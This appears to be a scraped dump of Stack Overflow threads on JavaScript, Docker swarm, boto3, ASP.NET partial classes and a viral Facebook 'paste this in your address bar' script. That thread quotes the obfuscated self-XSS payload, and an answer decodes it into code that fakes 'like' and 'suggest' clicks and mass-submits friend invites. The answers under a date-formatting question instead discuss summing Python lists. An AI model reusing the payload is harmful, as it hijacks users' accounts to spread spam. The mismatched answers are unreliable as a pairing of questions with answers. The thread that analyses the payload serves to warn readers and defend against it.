use `indexOf()` function [indexOf() documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf) to get the text on your function, you need to use `document.getElementById("em").value`
33,334,624
I'm very new to JavaScript, and I am a little confused. How do I check if my input field: ``` <form name='formular' method='post' onsubmit='return atcheck()'> E-mail <input type='text' name='email' id='em'> <input type='submit' value='Submit'> </form> ``` contains the symbol "@"? I'm not looking for a full good e-mail validation, I just wanna check if the field contains that symbol in particular when submitted (in the atcheck() function).
2015/10/25
[ "https://Stackoverflow.com/questions/33334624", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5428297/" ]
Here's one way to accomplish that: ``` function atcheck() { var has_at_char = document.getElementById("em").value.indexOf("@") > -1; if (has_at_char) { return false; } // your previously exisiting implementation of atcheck() could follow here } ```
use `indexOf()` function [indexOf() documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf) to get the text on your function, you need to use `document.getElementById("em").value`
33,334,624
I'm very new to JavaScript, and I am a little confused. How do I check if my input field: ``` <form name='formular' method='post' onsubmit='return atcheck()'> E-mail <input type='text' name='email' id='em'> <input type='submit' value='Submit'> </form> ``` contains the symbol "@"? I'm not looking for a full good e-mail validation, I just wanna check if the field contains that symbol in particular when submitted (in the atcheck() function).
2015/10/25
[ "https://Stackoverflow.com/questions/33334624", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5428297/" ]
``` <script language="Javascript"> function atcheck(){ if(document.getElementById('em').value.indexOf('@') === -1) { // No @ in string return false; } else { // @ in string return true; } } </script> ```
Here's one way to accomplish that: ``` function atcheck() { var has_at_char = document.getElementById("em").value.indexOf("@") > -1; if (has_at_char) { return false; } // your previously exisiting implementation of atcheck() could follow here } ```
44,110,075
Is it possible to do a force recreation of containers using compose file in docker swarm mode ? (I am aware of using HEALTHCHECK in Dockerfile) Currently i have to remove the stack first & then deploy it again - `$ docker stack deploy -c stg-sm-deploy-compose.yml --with-registry-auth MY-APP` `$ docker stack rm MY-APP` `$ docker stack deploy -c stg-sm-deploy-compose.yml --with-registry-auth MY-APP` Is there any possibility that above 3 commands can be replaced by - `$ docker stack deploy -c stg-sm-deploy-compose.yml --with-registry-auth MY-APP --force-recreate`
2017/05/22
[ "https://Stackoverflow.com/questions/44110075", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3802507/" ]
For any service created inside that stack that didn't change, you can use: ``` docker service update --force $service ``` which will force a rolling update of that service. To recreate everything from a stack, enter your stack name as `$stack` in: ``` docker stack services -q $stack \ | while read service; do docker service update --force $service done ```
We can force re-create a particular service defined in the compose file in swarm mode - 1. Get service name - `$ docker service ls` 2. Force-update/recreate it - `$ docker service update --force MY-APP_nginx` Where "nginx" is the service name defined in compose file & MY-APP is the name of the stack .
44,110,075
Is it possible to do a force recreation of containers using compose file in docker swarm mode ? (I am aware of using HEALTHCHECK in Dockerfile) Currently i have to remove the stack first & then deploy it again - `$ docker stack deploy -c stg-sm-deploy-compose.yml --with-registry-auth MY-APP` `$ docker stack rm MY-APP` `$ docker stack deploy -c stg-sm-deploy-compose.yml --with-registry-auth MY-APP` Is there any possibility that above 3 commands can be replaced by - `$ docker stack deploy -c stg-sm-deploy-compose.yml --with-registry-auth MY-APP --force-recreate`
2017/05/22
[ "https://Stackoverflow.com/questions/44110075", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3802507/" ]
For any service created inside that stack that didn't change, you can use: ``` docker service update --force $service ``` which will force a rolling update of that service. To recreate everything from a stack, enter your stack name as `$stack` in: ``` docker stack services -q $stack \ | while read service; do docker service update --force $service done ```
An extension of @BMitch's answer, with a little less shell. ```sh $ docker stack services -q $stack \ | xargs -rt -n1 -- docker service update --force ... ```
44,110,075
Is it possible to do a force recreation of containers using compose file in docker swarm mode ? (I am aware of using HEALTHCHECK in Dockerfile) Currently i have to remove the stack first & then deploy it again - `$ docker stack deploy -c stg-sm-deploy-compose.yml --with-registry-auth MY-APP` `$ docker stack rm MY-APP` `$ docker stack deploy -c stg-sm-deploy-compose.yml --with-registry-auth MY-APP` Is there any possibility that above 3 commands can be replaced by - `$ docker stack deploy -c stg-sm-deploy-compose.yml --with-registry-auth MY-APP --force-recreate`
2017/05/22
[ "https://Stackoverflow.com/questions/44110075", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3802507/" ]
We can force re-create a particular service defined in the compose file in swarm mode - 1. Get service name - `$ docker service ls` 2. Force-update/recreate it - `$ docker service update --force MY-APP_nginx` Where "nginx" is the service name defined in compose file & MY-APP is the name of the stack .
An extension of @BMitch's answer, with a little less shell. ```sh $ docker stack services -q $stack \ | xargs -rt -n1 -- docker service update --force ... ```
50,634,239
I'm trying to use Python and BOTO3 to list out the IPs of all devices in AWS (ELBs, EC2 etc) I've been able to pull the whole inventory but How can I assume a role and list out only the IP and device across all of my linked AWS accounts ?
2018/05/31
[ "https://Stackoverflow.com/questions/50634239", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9877726/" ]
Late answer, but hope it's helpful. You should actually use `network_interfaces` to get IP addresses across all services. I run a similar report, using a collection of named profiles. Something like this: ``` for profile in self.profiles: print(f'Analyzing {profile}...') session = boto3.Session(profile_name=profile) ec2 = session.resource('ec2') for eni in ec2.network_interfaces.all(): attachment_info = 'No attachment' if eni.attachment: if 'InstanceId' in eni.attachment: attachment_info = eni.attachment['InstanceId'] else: attachment_info = eni.attachment['InstanceOwnerId'] row = ( profile, eni.private_ip_address, eni.subnet_id, eni.subnet.cidr_block, attachment_info, ) print(row) ``` Regarding the role across accounts, as you can see in the code, boto3 will honor the named profiles in the `~/.aws/config`. See <https://docs.aws.amazon.com/cli/latest/userguide/cli-multiple-profiles.html> However, you can also assume the roles directly in your code, via code like this: ``` sts = boto3.client('sts') creds = sts.assume_role( RoleArn=f'arn:aws:iam::{acct_id}:role/{role_name}', RoleSessionName='...' ) auth = { 'aws_access_key_id': creds['Credentials']['AccessKeyId'], 'aws_secret_access_key': creds['Credentials']['SecretAccessKey'], 'aws_session_token': creds['Credentials']['SessionToken'], } session = boto3.Session(**auth) ec2 = session.resource('ec2') ``` This may be preferable if, for example, you also need to loop over multiple regions.
For EC2, it's easy to collect private/public ip addresses like following: [EC2 — Boto 3 Docs 1.7.30 documentation](http://boto3.readthedocs.io/en/latest/reference/services/ec2.html) ``` import boto3 ec2 = boto3.resource(service_name='ec2', region_name='xxx', aws_access_key_id='xxx', aws_secret_access_key='xxx') for i in ec2.instances.all(): print(i.private_ip_address) print(i.public_ip_address) ``` But, you need to use the iam key for EC2.
46,036,415
I got this value from a MySQL DB field: "september 9 @ 08:00 - 17:00". Can i change this **client side** to **9 september**? I tried with JavaScript but i didn't come even close. The date may change. Desired result in browser: **9 september** Thank you,
2017/09/04
[ "https://Stackoverflow.com/questions/46036415", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6079228/" ]
You could iterate each sublist and sum the numbers (based on an `isinstance` check) and keep the not-numbers as is: ``` l = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] newl = [] for subl in l: newsubl = [] acc = 0 for item in subl: if isinstance(item, (int, float)): acc += item else: newsubl.append(item) newsubl.append(acc) newl.append(newsubl) print(newl) # [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing', 0]] ``` In case you like generator functions this could be split into two functions: ``` l = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] def sum_numbers(it): acc = 0 for item in it: if isinstance(item, (int, float)): acc += item else: yield item yield acc def process(it): for subl in it: yield list(sum_numbers(subl)) print(list(process(l))) # [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing', 0]] ```
``` d= [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] d1=[] #result for x in d: m=[] #buffer for non int z=0 # int sum temp var for i in x: if str(i).isdigit(): #check if element is an int z+=i #print z else: m.append(i) m.append(z) #append sum d1.append(m) #append it to result print d1 ```
46,036,415
I got this value from a MySQL DB field: "september 9 @ 08:00 - 17:00". Can i change this **client side** to **9 september**? I tried with JavaScript but i didn't come even close. The date may change. Desired result in browser: **9 september** Thank you,
2017/09/04
[ "https://Stackoverflow.com/questions/46036415", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6079228/" ]
You could iterate each sublist and sum the numbers (based on an `isinstance` check) and keep the not-numbers as is: ``` l = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] newl = [] for subl in l: newsubl = [] acc = 0 for item in subl: if isinstance(item, (int, float)): acc += item else: newsubl.append(item) newsubl.append(acc) newl.append(newsubl) print(newl) # [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing', 0]] ``` In case you like generator functions this could be split into two functions: ``` l = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] def sum_numbers(it): acc = 0 for item in it: if isinstance(item, (int, float)): acc += item else: yield item yield acc def process(it): for subl in it: yield list(sum_numbers(subl)) print(list(process(l))) # [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing', 0]] ```
``` lists = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] new_list = [] for list_item in lists: new = [] count = 0 for item in list_item: if type( item ) == int: count = count + item else: new.append( item ) new.append( count ) new_list.append( new ) print( new_list ) ```
46,036,415
I got this value from a MySQL DB field: "september 9 @ 08:00 - 17:00". Can i change this **client side** to **9 september**? I tried with JavaScript but i didn't come even close. The date may change. Desired result in browser: **9 september** Thank you,
2017/09/04
[ "https://Stackoverflow.com/questions/46036415", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6079228/" ]
You could iterate each sublist and sum the numbers (based on an `isinstance` check) and keep the not-numbers as is: ``` l = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] newl = [] for subl in l: newsubl = [] acc = 0 for item in subl: if isinstance(item, (int, float)): acc += item else: newsubl.append(item) newsubl.append(acc) newl.append(newsubl) print(newl) # [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing', 0]] ``` In case you like generator functions this could be split into two functions: ``` l = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] def sum_numbers(it): acc = 0 for item in it: if isinstance(item, (int, float)): acc += item else: yield item yield acc def process(it): for subl in it: yield list(sum_numbers(subl)) print(list(process(l))) # [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing', 0]] ```
Try this: ``` l = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] sums = [sum([x for x in _l if type(x) == int]) for _l in l] without_ints = map(lambda _l: filter(lambda x: type(x) == int, _l, l)) out = [w_i + [s] for (s, w_i) in zip(sums, without_ints)] >>> out [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing', 0]] ``` Hope it helps!
46,036,415
I got this value from a MySQL DB field: "september 9 @ 08:00 - 17:00". Can i change this **client side** to **9 september**? I tried with JavaScript but i didn't come even close. The date may change. Desired result in browser: **9 september** Thank you,
2017/09/04
[ "https://Stackoverflow.com/questions/46036415", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6079228/" ]
You could iterate each sublist and sum the numbers (based on an `isinstance` check) and keep the not-numbers as is: ``` l = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] newl = [] for subl in l: newsubl = [] acc = 0 for item in subl: if isinstance(item, (int, float)): acc += item else: newsubl.append(item) newsubl.append(acc) newl.append(newsubl) print(newl) # [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing', 0]] ``` In case you like generator functions this could be split into two functions: ``` l = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] def sum_numbers(it): acc = 0 for item in it: if isinstance(item, (int, float)): acc += item else: yield item yield acc def process(it): for subl in it: yield list(sum_numbers(subl)) print(list(process(l))) # [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing', 0]] ```
And here is the biggest one liner I've ever written.. Assuming the numbers are all at the end of each list, this should do the trick! ``` my_list = [["hari","cs",10,20],["krish","it",10],["yash","nothing"]] new_list = [[element if type(element) != int else sum(inner_list[inner_list.index(element):]) for element in inner_list if type(inner_list[inner_list.index(element) - 1 if type(element) == int else 0]) != int] for inner_list in my_list] print(new_list) # [['hari', 'cs', 30], ['krish', 'it', 10], ['yash', 'nothing']] ```
23,996,069
I have a situation where I need to create multiple code behind files for a single .aspx page in c# asp.net. Actually I have a web form on that huge coding is done and I need multiple developer's working on it simultaneously. How can I achieve the same? Here is the code snippet I tried Class 1 MyPartialClass.cs ``` namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void PrintText(string pt) { Response.Write(pt); //lblTest.Text = pt; //Can not access this label in partial class. } } } ``` Class 2 which is Default.aspx.cs ``` namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { PrintText("Hello World"); } } } ``` and my HTML source ``` <%@ Page Language="C#" AutoEventWireup="false" CodeBehind="Default.aspx.cs" Inherits="WebApplication1.Default" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label ID="lblTest" runat="server"></asp:Label> </div> </form> </body> </html> ```
2014/06/02
[ "https://Stackoverflow.com/questions/23996069", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2223475/" ]
You need to set up a source safe server in order to that, like Team Foundation Server.
You can easily just add partial classes to your code. <http://www.codeproject.com/Articles/709273/Partial-Classes-in-Csharp-With-Real-Example>
23,996,069
I have a situation where I need to create multiple code behind files for a single .aspx page in c# asp.net. Actually I have a web form on that huge coding is done and I need multiple developer's working on it simultaneously. How can I achieve the same? Here is the code snippet I tried Class 1 MyPartialClass.cs ``` namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void PrintText(string pt) { Response.Write(pt); //lblTest.Text = pt; //Can not access this label in partial class. } } } ``` Class 2 which is Default.aspx.cs ``` namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { PrintText("Hello World"); } } } ``` and my HTML source ``` <%@ Page Language="C#" AutoEventWireup="false" CodeBehind="Default.aspx.cs" Inherits="WebApplication1.Default" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label ID="lblTest" runat="server"></asp:Label> </div> </form> </body> </html> ```
2014/06/02
[ "https://Stackoverflow.com/questions/23996069", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2223475/" ]
ASP.NET will always generate your code behind files as partial classes ``` namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } } } ``` You can therefor separate the code behind in different files, if you pertain the definition as `partial` and keep the class under the same namespace. **Edit :** The Web Project ``` //Default.aspx <%@ Page Title="Home Page" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="WebApplication1.Default" %> <asp:Content ID="HeaderContent" runat="server" ContentPlaceHolderID="HeadContent"> </asp:Content> <asp:Content ID="BodyContent" runat="server" ContentPlaceHolderID="MainContent"> <asp:Label ID="lblTest" runat="server" Text="Label"></asp:Label> </asp:Content> //Default.aspx.cs namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { PrintText("Hello World"); } } } //MyPartialClass.cs namespace WebApplication1 { public partial class Default { protected void PrintText(string pt) { Response.Write(pt); lblTest.Text = pt; //lblTest is accessible here } } } ``` I haven't modified any other generated files. One thing I like to mention is that the `Default.aspx.cs` file that has been generated was generated with the class name "\_Default". I have changed it to `Default` and Visual Studio refactored the change across all files that contain a definition for that class, except the `Default.aspx` file, where I had to manually modifiy from `Inherits="WebApplication1._Default"` to `Inherits="WebApplication1.Default"`. **Edit 2:** I kept searching the internet, and according to <http://codeverge.com/asp.net.web-forms/partial-classes-for-code-behind/371053>, what you are trying to do is impossible. Same idea is detailed at <http://codeverge.com/asp.net.web-forms/using-partial-classes-to-have-multiple-code/377575> If possible, consider converting from Web Site to Web Application, which supports what you are trying to achieve. Here is a walkthrough on how to perform this conversion: [http://msdn.microsoft.com/en-us/library/vstudio/aa983476(v=vs.100).aspx](http://msdn.microsoft.com/en-us/library/vstudio/aa983476%28v=vs.100%29.aspx)
You need to set up a source safe server in order to that, like Team Foundation Server.
23,996,069
I have a situation where I need to create multiple code behind files for a single .aspx page in c# asp.net. Actually I have a web form on that huge coding is done and I need multiple developer's working on it simultaneously. How can I achieve the same? Here is the code snippet I tried Class 1 MyPartialClass.cs ``` namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void PrintText(string pt) { Response.Write(pt); //lblTest.Text = pt; //Can not access this label in partial class. } } } ``` Class 2 which is Default.aspx.cs ``` namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { PrintText("Hello World"); } } } ``` and my HTML source ``` <%@ Page Language="C#" AutoEventWireup="false" CodeBehind="Default.aspx.cs" Inherits="WebApplication1.Default" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label ID="lblTest" runat="server"></asp:Label> </div> </form> </body> </html> ```
2014/06/02
[ "https://Stackoverflow.com/questions/23996069", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2223475/" ]
ASP.NET will always generate your code behind files as partial classes ``` namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } } } ``` You can therefor separate the code behind in different files, if you pertain the definition as `partial` and keep the class under the same namespace. **Edit :** The Web Project ``` //Default.aspx <%@ Page Title="Home Page" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="WebApplication1.Default" %> <asp:Content ID="HeaderContent" runat="server" ContentPlaceHolderID="HeadContent"> </asp:Content> <asp:Content ID="BodyContent" runat="server" ContentPlaceHolderID="MainContent"> <asp:Label ID="lblTest" runat="server" Text="Label"></asp:Label> </asp:Content> //Default.aspx.cs namespace WebApplication1 { public partial class Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { PrintText("Hello World"); } } } //MyPartialClass.cs namespace WebApplication1 { public partial class Default { protected void PrintText(string pt) { Response.Write(pt); lblTest.Text = pt; //lblTest is accessible here } } } ``` I haven't modified any other generated files. One thing I like to mention is that the `Default.aspx.cs` file that has been generated was generated with the class name "\_Default". I have changed it to `Default` and Visual Studio refactored the change across all files that contain a definition for that class, except the `Default.aspx` file, where I had to manually modifiy from `Inherits="WebApplication1._Default"` to `Inherits="WebApplication1.Default"`. **Edit 2:** I kept searching the internet, and according to <http://codeverge.com/asp.net.web-forms/partial-classes-for-code-behind/371053>, what you are trying to do is impossible. Same idea is detailed at <http://codeverge.com/asp.net.web-forms/using-partial-classes-to-have-multiple-code/377575> If possible, consider converting from Web Site to Web Application, which supports what you are trying to achieve. Here is a walkthrough on how to perform this conversion: [http://msdn.microsoft.com/en-us/library/vstudio/aa983476(v=vs.100).aspx](http://msdn.microsoft.com/en-us/library/vstudio/aa983476%28v=vs.100%29.aspx)
You can easily just add partial classes to your code. <http://www.codeproject.com/Articles/709273/Partial-Classes-in-Csharp-With-Real-Example>
2,731,345
I saw this page growing in popularity among my social circles on Facebook, [what 98 percent bla bla...](http://www.facebook.com/wylanan?ref=search&sid=678545710.3719697140..1#!/pages/What-98-of-people-never-knew-about-disney-movies/112015555504495) and it walks users through copying the below JavaScript (I added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. Simply put, what does this do? ``` javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))})(); ```
2010/04/28
[ "https://Stackoverflow.com/questions/2731345", "https://Stackoverflow.com", "https://Stackoverflow.com/users/328085/" ]
At first glance, it looks like a packing function, used to compress code into a string. Think of it like gzip compression.
That looks like the code invite your friends to join a group or something along those lines.. They've been floating around facebook for a while.
2,731,345
I saw this page growing in popularity among my social circles on Facebook, [what 98 percent bla bla...](http://www.facebook.com/wylanan?ref=search&sid=678545710.3719697140..1#!/pages/What-98-of-people-never-knew-about-disney-movies/112015555504495) and it walks users through copying the below JavaScript (I added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. Simply put, what does this do? ``` javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } ))})(); ```
2010/04/28
[ "https://Stackoverflow.com/questions/2731345", "https://Stackoverflow.com", "https://Stackoverflow.com/users/328085/" ]
I don't know so many are downvoting this. You are absolutely right to be suspicious about packed and otherwise-obfuscated scripts, especially with the rash of malvertisements affecting FB apps at the moment. The first trick is to replace the `eval` on the results of the unpacker with an `alert` so you can see the code instead of executing it. That gives you something you can easily (but boringly) manually decode to: ``` document.getElementById('app120668947950042_mwrapper').style.visibility='hidden'; document.getElementById('app120668947950042_jop').innerHTML=document.getElementById('app120668947950042_jode').value; s=document.getElementById('suggest'); m=document.getElementById('likeme'); c=document.createEvent('MouseEvents'); c.initEvent('click',true,true); s.dispatchEvent(c); setTimeout(function(){ fs.select_all() }, 5000); setTimeout(function(){ SocialGraphManager.submitDialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php') }, 5000); setTimeout(function(){ m.dispatchEvent(c); document.getElementById('app120668947950042_ifo').innerHTML=document.getElementById('app120668947950042_ifc').value }, 5000); ``` That looks like it's faking click on the ‘like’ and ‘suggest’ buttons (and subsequent dialogue), circumventing the normal controls FB require to interact with the site. I'd report this page to FB. In general, anything that asks you to enter a JavaScript URL is up to no good. This is the poor-man's-XSS. By allowing someone's code onto a page through a JS URL you are trusting them to do anything they want with your use of the site, as this crude social-engineering attempt demonstrates. It's depressing if a lot of people are falling for this. Maybe it's time for browsers to disallow typing `javascript:` URLs in the address bar. Curse you Netscape for inventing the ugly `javascript:` not-really-a-URL hack and the thousands of security holes that have resulted from it!
At first glance, it looks like a packing function, used to compress code into a string. Think of it like gzip compression.
2,731,345
I saw this page growing in popularity among my social circles on Facebook, [what 98 percent bla bla...](http://www.facebook.com/wylanan?ref=search&sid=678545710.3719697140..1#!/pages/What-98-of-people-never-knew-about-disney-movies/112015555504495) and it walks users through copying the below JavaScript (I added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript. Simply put, what does this do? ``` javascript:(function(){ a='app120668947950042_jop'; b='app120668947950042_jode'; ifc='app120668947950042_ifc'; ifo='app120668947950042_ifo'; mw='app120668947950042_mwrapper'; eval(function(p,a,c,k,e,r){ e=function(c){ return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} ; if(!''.replace(/^/,String)){ while(c--)r[e(c)]=k[c]||e(c); k=[function(e){ return r[e]} ]; e=function(){ return'\\w+'} ; c=1} ; while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); return p} ('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; d=U; d[e[2]](V)[e[1]][e[0]]=e[3]; d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; s=d[e[2]](e[6]); m=d[e[2]](e[7]); c=d[e[9]](e[8]); c[e[11]](e[10],I,I); s[e[12]](c); C(D(){ W[e[13]]()} ,E); C(D(){ X[e[16]](e[14],e[15])} ,E); C(D(){ m[e[12]](c); d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} ,E); ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ } 